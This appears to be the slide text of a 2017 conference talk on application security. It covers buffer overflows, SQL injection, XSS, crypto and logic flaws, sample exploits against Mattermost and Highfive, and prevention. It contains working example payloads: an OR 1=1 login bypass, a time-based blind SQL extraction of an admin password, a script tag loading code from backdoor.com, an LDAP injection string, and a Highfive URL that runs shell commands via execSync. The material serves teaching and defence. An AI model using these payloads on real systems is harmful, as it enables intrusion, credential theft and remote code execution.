Application Security
AOE Conf 2017
What is

Application Security?
Application Security
• Security in software

• Not management security, perimeter security, etc

• Possible Attack vectors

• How to prevent issues
Attack vectors
Code Execution
Make a system execute arbitrary code
Buffer Overflows
• Assembler code injected into memory

• 1996, Aleph One, "Smashing the stack for fun and profit"

• Possible by overflowing a programs memory with
controlled data
SQL Injection
• Execute arbitrary SQL code

• Possible by interpolating user-submitted data without
proper escaping

• Can be used to read/write files on DB server
Cross Site Scripting
• Execute arbitrary JavaScript in a privileged context

• Executed on a client's machine

• Privileged context: Browser (domain/cookies)

• Steal/Modify cookies

• AJAX Requests to privileged areas
Cryptography
Attack cryptographic measures for confidentiality and
integrity
Signatures
• Fake signatures/tokens for unauthorised access
Encryption
• Break encryption

• Missing encryption

• Broken Encryption:

• Example: Bleichenbacher RSA
Business Logic
Make legit code behave in an unintended way
Race Conditions
• Re-order execution flows to change an operations result
Exploit basics
SQL Injection
• Query: SELECT * FROM users WHERE 

username="${USERNAME}" AND 

password="${PASSWORD}";

• Username: Bastian

• Passwort: Sesame098

• Query: SELECT * FROM users WHERE 

username="Bastian" AND 

password="Sesame098";
SQL Injection
• Query: SELECT * FROM users WHERE 

username="${USERNAME}" AND 

password="${PASSWORD}";

• Username: Bastian

• Passwort: " OR 1=1 -- x

• Query: SELECT * FROM users WHERE 

username="Bastian" AND 

password="" OR 1=1 -- x";
SQL Injection
• Query: SELECT * FROM logs WHERE 

token="${TOKEN}";

• Token: a" AND IF(SUBSTRING(

(SELECT password FROM users WHERE
name="admin" LIMIT 1)

,0,1) = 'a', SLEEP(5), 0) -- x

• Query: SELECT * FROM logs WHERE

token="a" AND IF(SUBSTRING(

(SELECT password FROM users WHERE
name="admin" LIMIT 1)

,0,1) = 'a', SLEEP(5), 0) -- x";
Cross-Site Scripting
• Template: <a href="${page}">You are here</a>

• URL: http://example.com/page=hello

• Template: <a href="hello">You are here</a>
Cross-Site Scripting
• Template: <a href="${page}">You are here</a>

• URL: http://example.com/page="><script
src="http://backdoor.com/x.js"></script>

• Template: <a href=""><script src="http://
backdoor.com/x.js"></script>">You are
here</a>
Cross-Site Scripting
• Code runs in Browser of the one opening the link

• Access to Cookies+LocalStorage

• Can send requests and read their result (emulate
administrator behaviour)

• Change page look/behaviour (steal passwords, etc)
Exploits samples
Mattermost LDAP Injection
• https://mattermost/api/v3/users/login

• login_id: username)(givenName=test*

• password: ""

• Response:

• 401: OK, query successful

• 50x: Error, query failed
Mattermost LDAP Injection
Mattermost LDAP Injection
Mattermost LDAP Injection
Mattermost LDAP Injection
• Prevention: properly escape characters which might be
interpreted by LDAP
Highfive RCE
• Target: URL-Handler highfive://

• Possible arguments: ?domain=, ?protocol=
Highfive RCE
Privileged
Non-Privileged Display Web-pages
Execute processes etc
Highfive Sandbox (NW.js)
Whitelist:
https://highfive.com
https://dev.highfive.com
Highfive RCE
• highfive://test.com.a/?
domain=alert(require('child_process').execSyn
c('hostname;echo;id').toString())//
&protocol=javascript
• Starts Highfive on a privileged initial domain

• Redirects to: protocol + '://' + domain + path

• Becomes: 

javascript://
alert(require('child_process').execSync('host
name;echo;id').toString())//something
Highfive RCE
• Redirect to javascript:// does not change the
sandbox

• Works on any operating system

• Thank you JavaScript 😙
Highfive RCE
• Prevention: whitelist redirect targets
JWT Null Tokens
JWT Null Tokens
JWT Null Tokens
JWT Null Tokens
JWT Null Tokens
• Prevention: Do not allow null signature algorithms
Preventive actions
Finding Security issues
• Code Reviews

• Curiosity

• (sometimes: automated scanners)
Stay up to date
React fast
React fast
• Escalation plan for security incidents

• Fast deployment strategies

• Firewall setup to cut off possible infected systems

• Snapshot infrastructure for later analysis
Thank you :)
Questions?

AOEconf17: Application Security - Bastian Ike